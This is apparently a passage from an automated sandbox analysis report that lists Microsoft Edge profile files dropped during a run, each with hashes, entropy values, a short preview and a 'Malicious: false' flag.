Encrypted:	false
SSDEEP:	384:s1A7qbHjZY4jlRAjojKjYmjjVWPjC7QjOPO1Hj3lv81yVyg0yWy4+yCxye2:mw
MD5:	EBC2D44E74329229ECB68A9A78B940F1
SHA1:	75735C7B0B9FF1D294BA596D1851DE6F0F4A0145
SHA-256:	011A8C84CCC92390AD883B20BC02CE3BEB3C920F2B9042DC69AD0A053E5A41CE
SHA-512:	47E4C9BFDA8C0EFF6D536C7F9BE07BFE652018B4CF10DD76302B0CA333D09CDEBE4C962EA4F1A0D4767DEC1D4DBC60B17C6858040DC1436C31A166A9E1C6E7C7
Malicious:	false
Preview:	7....-...........XE6.:...,\...n..........XE6.:...^.J.~.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.015086449385924
Encrypted:	false
SSDEEP:	6:/XntM+dll3sedhO38WrOuuuuuuuuuC1BillnUdtUEFsedhO/:lllc8zWrOuuuuuuuuuC2llUE8i
MD5:	CC1A0A6DFD3CD2FED72ED3B6FC9CE1DC
SHA1:	D93CFDA94165F9E7F6207E596D06227F01FCF600
SHA-256:	569057DE22DFF1C174C7609187F6BF90412BB12F278FA05FBA96A9442099A7FF
SHA-512:	EBC7017552895CDD3E85421FDF59E27819C84642CAB07CB0FAFFFEDB8470248942718565951F0360B5C7FBF4D4C2C4D71E5EECCFA5F8915B824BB76A9C0E7204
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1....0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................:.";...............#38_h.......6.Z..W.F.....MU9.....MU9..........V.e................V.e................V.e..................&.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.2331836453678156
Encrypted:	false
SSDEEP:	6:HUwb3RSVN1yq2PCHhJ23oH+TcwtfrK+IFUt8YUwb3RSVNj1Zmw+YUwb3jSeRkwOH:j0VN1yvBYeb23FUt880VNJ/+8ueR56Yq
MD5:	15C8FE0DE2938AB60B11D8C682CEF259
SHA1:	49FF014E8C1811A7979E6F0508F9132ADA13F7F3
SHA-256:	E30DBFF52BD47B32E7B24B0B551539C99FBC52CD97F144FE4E4BF65B473A6A35
SHA-512:	53974622DF393B44214FADF6697F9C92FCFF3F860664FBB1ABFDFF17F8D7ED1DE7AA3892B02C56B498F6F30D3461F8450F21316C560F0E056B9F1B4ABB7F34E7
Malicious:	false
Preview:	2024/11/19-12:00:35.083 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/19-12:00:35.083 770 Recovering log #3.2024/11/19-12:00:35.084 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.2331836453678156
Encrypted:	false
SSDEEP:	6:HUwb3RSVN1yq2PCHhJ23oH+TcwtfrK+IFUt8YUwb3RSVNj1Zmw+YUwb3jSeRkwOH:j0VN1yvBYeb23FUt880VNJ/+8ueR56Yq
MD5:	15C8FE0DE2938AB60B11D8C682CEF259
SHA1:	49FF014E8C1811A7979E6F0508F9132ADA13F7F3
SHA-256:	E30DBFF52BD47B32E7B24B0B551539C99FBC52CD97F144FE4E4BF65B473A6A35
SHA-512:	53974622DF393B44214FADF6697F9C92FCFF3F860664FBB1ABFDFF17F8D7ED1DE7AA3892B02C56B498F6F30D3461F8450F21316C560F0E056B9F1B4ABB7F34E7
Malicious:	false
Preview:	2024/11/19-12:00:35.083 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/19-12:00:35.083 770 Recovering log #3.2024/11/19-12:00:35.084 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.196920409345068
Encrypted:	false
SSDEEP:	6:HUwb3v/yq2PCHhJ23oH+TcwtfrzAdIFUt8YUwb3vp1Zmw+YUwb3v/RkwOCHhJ23q:jXyvBYeb9FUt88L/+8XR56Yeb2J
MD5:	68CF08AA22F2A41D4662F49CB890415B
SHA1:	8EE719C68F33E6EB644B51803742B9A0CD3E7F9B
SHA-256:	EA6A09314D749B12F56E2A834DF02F19A271A3234120D0B0001DF390F789543C
SHA-512:	803636F5A24DDDCAB133FC8215C394B6EE2EDD023825D6CDACB7AC032470D1198D5323A9026A87DCEEA28A8E99E9536F3D159A5E6547A77E35DCF8A00D1B54F3
Malicious:	false
Preview:	2024/11/19-12:00:35.080 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/19-12:00:35.080 770 Recovering log #3.2024/11/19-12:00:35.080 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.196920409345068
Encrypted:	false
SSDEEP:	6:HUwb3v/yq2PCHhJ23oH+TcwtfrzAdIFUt8YUwb3vp1Zmw+YUwb3v/RkwOCHhJ23q:jXyvBYeb9FUt88L/+8XR56Yeb2J
MD5:	68CF08AA22F2A41D4662F49CB890415B
SHA1:	8EE719C68F33E6EB644B51803742B9A0CD3E7F9B
SHA-256:	EA6A09314D749B12F56E2A834DF02F19A271A3234120D0B0001DF390F789543C
SHA-512:	803636F5A24DDDCAB133FC8215C394B6EE2EDD023825D6CDACB7AC032470D1198D5323A9026A87DCEEA28A8E99E9536F3D159A5E6547A77E35DCF8A00D1B54F3
Malicious:	false
Preview:	2024/11/19-12:00:35.080 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/19-12:00:35.080 770 Recovering log #3.2024/11/19-12:00:35.080 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577853530943
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHCLmZt4tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	4A841761451D683B3F11EC425DA286F3
SHA1:	D2C2BCA42B68798D99138F7AA420BE016FA5AB6B
SHA-256:	2285B568762BB05A62999BC88D4DDDFDBA9BA283A202029593257C6F29A3A51E
SHA-512:	3FDB44CCD91567AA0D893C897B59AB1E9A8F9DCC74392676391C1B082E726AFE5BAF1844E801EE182D40C5D4FB8BEC187A169C0C70471175CEF302CB9F95FC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF27bae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577853530943
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHCLmZt4tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	4A841761451D683B3F11EC425DA286F3
SHA1:	D2C2BCA42B68798D99138F7AA420BE016FA5AB6B
SHA-256:	2285B568762BB05A62999BC88D4DDDFDBA9BA283A202029593257C6F29A3A51E
SHA-512:	3FDB44CCD91567AA0D893C897B59AB1E9A8F9DCC74392676391C1B082E726AFE5BAF1844E801EE182D40C5D4FB8BEC187A169C0C70471175CEF302CB9F95FC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF27bcd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577853530943
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHCLmZt4tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	4A841761451D683B3F11EC425DA286F3
SHA1:	D2C2BCA42B68798D99138F7AA420BE016FA5AB6B
SHA-256:	2285B568762BB05A62999BC88D4DDDFDBA9BA283A202029593257C6F29A3A51E
SHA-512:	3FDB44CCD91567AA0D893C897B59AB1E9A8F9DCC74392676391C1B082E726AFE5BAF1844E801EE182D40C5D4FB8BEC187A169C0C70471175CEF302CB9F95FC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF27d73.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577853530943
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHCLmZt4tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	4A841761451D683B3F11EC425DA286F3
SHA1:	D2C2BCA42B68798D99138F7AA420BE016FA5AB6B
SHA-256:	2285B568762BB05A62999BC88D4DDDFDBA9BA283A202029593257C6F29A3A51E
SHA-512:	3FDB44CCD91567AA0D893C897B59AB1E9A8F9DCC74392676391C1B082E726AFE5BAF1844E801EE182D40C5D4FB8BEC187A169C0C70471175CEF302CB9F95FC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2a445.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577853530943
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHCLmZt4tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	4A841761451D683B3F11EC425DA286F3
SHA1:	D2C2BCA42B68798D99138F7AA420BE016FA5AB6B
SHA-256:	2285B568762BB05A62999BC88D4DDDFDBA9BA283A202029593257C6F29A3A51E
SHA-512:	3FDB44CCD91567AA0D893C897B59AB1E9A8F9DCC74392676391C1B082E726AFE5BAF1844E801EE182D40C5D4FB8BEC187A169C0C70471175CEF302CB9F95FC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2d3f0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577853530943
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHCLmZt4tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	4A841761451D683B3F11EC425DA286F3
SHA1:	D2C2BCA42B68798D99138F7AA420BE016FA5AB6B
SHA-256:	2285B568762BB05A62999BC88D4DDDFDBA9BA283A202029593257C6F29A3A51E
SHA-512:	3FDB44CCD91567AA0D893C897B59AB1E9A8F9DCC74392676391C1B082E726AFE5BAF1844E801EE182D40C5D4FB8BEC187A169C0C70471175CEF302CB9F95FC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38e76.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577853530943
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHCLmZt4tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	4A841761451D683B3F11EC425DA286F3
SHA1:	D2C2BCA42B68798D99138F7AA420BE016FA5AB6B
SHA-256:	2285B568762BB05A62999BC88D4DDDFDBA9BA283A202029593257C6F29A3A51E
SHA-512:	3FDB44CCD91567AA0D893C897B59AB1E9A8F9DCC74392676391C1B082E726AFE5BAF1844E801EE182D40C5D4FB8BEC187A169C0C70471175CEF302CB9F95FC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ec26.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090577853530943
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kHCLmZt4tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynYtGhOxqQoRTuiVIos
MD5:	4A841761451D683B3F11EC425DA286F3
SHA1:	D2C2BCA42B68798D99138F7AA420BE016FA5AB6B
SHA-256:	2285B568762BB05A62999BC88D4DDDFDBA9BA283A202029593257C6F29A3A51E
SHA-512:	3FDB44CCD91567AA0D893C897B59AB1E9A8F9DCC74392676391C1B082E726AFE5BAF1844E801EE182D40C5D4FB8BEC187A169C0C70471175CEF302CB9F95FC5E
Malicious:	false
